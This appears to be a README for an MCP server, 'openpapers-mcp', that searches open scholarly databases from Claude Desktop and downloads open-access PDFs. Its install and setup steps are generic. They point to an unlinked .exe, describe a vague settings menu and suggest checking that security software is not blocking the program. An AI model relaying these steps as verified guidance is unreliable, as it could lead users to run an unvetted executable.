🔬 openpapers-mcp - Find and access scientific papers easily

This tool helps researchers find scientific papers across major databases. It connects your desktop software to sources like OpenAlex, CrossRef, and Unpaywall. You search for topics, read abstracts, and download legal open-access PDFs directly to your computer.

⚙️ System Requirements

• Windows 10 or Windows 11

• At least 200 MB of free storage space

• A stable internet connection

• Claude Desktop application installed

Related MCP server: Paper Search MCP

📥 How to Install

Follow these steps to set up the software on your computer.

1. Visit the official download page.

2. Look for the "Releases" section on the right side of the page.

3. Click the latest version link.

4. Select the file ending in .exe to start the download.

5. Save the file to your "Downloads" folder.

6. Open your "Downloads" folder and double-click the file to start the installation.

7. Follow the prompts on your screen to complete the setup process.

🛠️ Setting Up With Claude Desktop

Once you install the software, you must connect it to your AI assistant.

1. Open the Claude Desktop application.

2. Locate the settings menu. You can usually find this by clicking your profile icon or the gear icon in the corner.

3. Find the area labeled "MCP" or "Model Context Protocol."

4. Add a new configuration entry.

5. Point the configuration to the path where you installed the openpapers-mcp file.

6. Restart the Claude Desktop application so the changes take effect.

🔍 How to Use the Tool

After you complete the setup, you can access the tool inside your chat window with Claude.

1. Open Claude Desktop.

2. Type a sentence about the research topic you need. For example, "Find papers about climate change in the Arctic."

3. The software will search the connected databases.

4. It will return a list of relevant papers.

5. You can ask for an abstract if you want a summary.

6. To get the full text, type "Download PDF" followed by the paper title or ID provided in the search results.

7. The software saves the PDF to your default downloads folder.

📝 Frequently Asked Questions

Does this tool cost money? No, this software uses open databases. It only provides access to legal, open-access research papers.

Will this work on a Mac? These instructions describe the Windows process. The tool is designed for use within the Claude Desktop environment on Windows systems.

What if I cannot find a paper? Sometimes a paper exists, but it lacks a legal open-access version. The tool will inform you if no downloadable PDF exists.

How do I update the software? Check the download page periodically for new versions. Run the new installer to update your current files.

Is my data private? The software works locally on your machine. Your search history stays within your own environment unless you share your chat logs with the AI provider.

🛡️ Troubleshooting

If the software fails to connect, check your internet connection first. Ensure that you correctly entered the file path in your Claude Desktop settings. If the connection remains broken, remove the entry in the MCP settings and add it again to ensure the path contains no typos. You may also check that your security software does not block the application from running.

Keywords: academic-research, claude-desktop, crossref, mcp, mcp-server, model-context-protocol, open-access, openalex, scientific-papers, unpaywall